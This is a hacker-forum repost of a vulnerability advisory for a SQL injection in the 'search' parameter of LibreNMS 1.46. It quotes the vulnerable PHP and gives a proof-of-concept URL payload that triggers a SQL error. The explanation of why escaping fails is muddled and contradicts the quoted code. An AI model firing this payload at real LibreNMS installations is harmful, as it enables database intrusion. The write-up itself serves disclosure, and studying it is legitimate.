跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于
# Exploit Title: LibreNMS 1.46 - 'search' SQL Injection
# Google Dork:unknown
# Date: 2019-09-01
# Exploit Author: Punt
# Vendor Homepage: https://www.librenms.org
# Software Link: https://www.librenms.org 
# Version:1.46 and less
# Tested on:Linux and Windows
# CVE: N/A 

#Affected Device: more than 4k found on Shodan and Censys. 

#Description about the bug
Vunlerable script /html/ajax_serarch.php

if (isset($_REQUEST['search'])) {
    $search = mres($_REQUEST['search']);
    header('Content-type: application/json');
    if (strlen($search) > 0) {
        $found = 0;

        if ($_REQUEST['type'] == 'group') {
            include_once '../includes/device-groups.inc.php';
            foreach (dbFetchRows("SELECT id,name FROM device_groups WHERE name LIKE '%".$search."%'") as $group) {
                if ($_REQUEST['map']) {
                    $results[] = array(
                        'name'     => 'g:'.$group['name'],
                        'group_id' => $group['id'],


as you can there is a search parameter $search = mres($_REQUEST['search']); which accepts a user input using $_REQUEST['']

dbFetchRows() used to exectute sql query

now lets check the mres() function 

the mres() fuction is located under /includes/common.php

function mres($string)
{
    return $string; // 
    global $database_link;
    return mysqli_real_escape_string($database_link, $string);

as you can see the mres() function call's the mysqli_real_escape_string() which can be bypassed by '%'                    


#POC:
1st lgoin to your LibreNMS
2nd go to this /ajax_search.php?search=%27&type=group or /ajax_search.php?search=%27&type=alert-rules 
3rd you will see an sql syntax error 

The Librenms team have applyed a patch .
Thanks
Punt (From Ethiopia)
            

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。